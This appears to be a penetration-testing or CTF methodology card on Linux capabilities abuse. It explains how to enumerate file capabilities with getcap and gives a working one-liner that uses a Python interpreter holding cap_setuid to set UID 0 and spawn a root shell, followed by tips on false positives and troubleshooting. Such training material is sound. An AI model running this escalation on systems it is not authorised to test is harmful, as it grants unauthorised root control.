Linux Capabilities Abuse
Concept
Linux capabilities grant a binary a subset of root's power (e.g. cap_setuid, cap_dac_read_search) without full SUID. A binary with an exploitable capability can be abused the same way as SUID — GTFOBins documents these too.
When to Use
- SUID/sudo/cron enumeration is clean, or alongside them as standard practice.
Workflow
- 1Enumerate capabilities
getcap across the filesystem.
- 2Identify dangerous capabilities
cap_setuid, cap_dac_read_search, cap_dac_override.
- 3Check GTFOBins for the specific binary+capability
Confirm an exploitation path exists.
- 4Execute the escalation
Usually via a scripting-language interpreter with cap_setuid.
Commands
getcap -r / 2>/dev/nullgetcap -r / 2>/dev/null
Recursively lists all files with capabilities set across the filesystem.
-r— Recurse through directories.
When to use: Standard enumeration step alongside SUID checks.
Expected output:
/usr/bin/python3.9 = cap_setuid+ep
Look for: cap_setuid, cap_setgid, cap_dac_read_search, cap_dac_override on non-system binaries especially.
Next step: Confirm the exploitation path on GTFOBins for that binary + capability combination.
BINARY_PATH -c "import os; os.setuid(0); os.system('/bin/sh')"/usr/bin/python3.9 -c "import os; os.setuid(0); os.system('/bin/sh')"If Python has cap_setuid, this sets the effective UID to 0 then spawns a root shell.
When to use: When getcap shows cap_setuid on a Python (or similar) interpreter.
Expected output:
# (root shell)
Look for: uid=0 after running id.
Next step: Confirm and proceed.
Tools
getcap
Query file capabilities.
When to use: Companion to find -perm for SUID — capabilities are an equally common CTF vector.
getcap -r / 2>/dev/nullExample workflow: Run once per box as a standard enumeration step.
Findings & Interpretation
Interesting
- cap_setuid/cap_setgid on an interpreter (python, perl, ruby, node)
- cap_dac_read_search allowing arbitrary file reads bypassing permissions
False Positives
- Capabilities on system binaries that need them for normal operation (e.g. ping's cap_net_raw) are not exploitable privesc paths
How to Validate
- Confirm the binary path isn't a symlink to a restricted/patched version before assuming GTFOBins' generic technique applies verbatim
Next Step
- If no exploitable capability exists, move to kernel exploits or environment/process inspection.
Troubleshooting
getcap -r / returns nothing.
Likely cause: No capabilities set, or the filesystem attributes were stripped (e.g. during a copy without preserving xattrs).
Verify: Check for setcap availability and whether / is actually a single mounted filesystem (capabilities don't cross some overlay/network filesystems cleanly).
Fix: No fix needed — this is a valid 'dead end', move to the next technique.
Recovery: Proceed to kernel exploits, SUID, sudo, or cron checks.
Avoid repeating: Don't assume a tool bug — an empty result here is common and normal.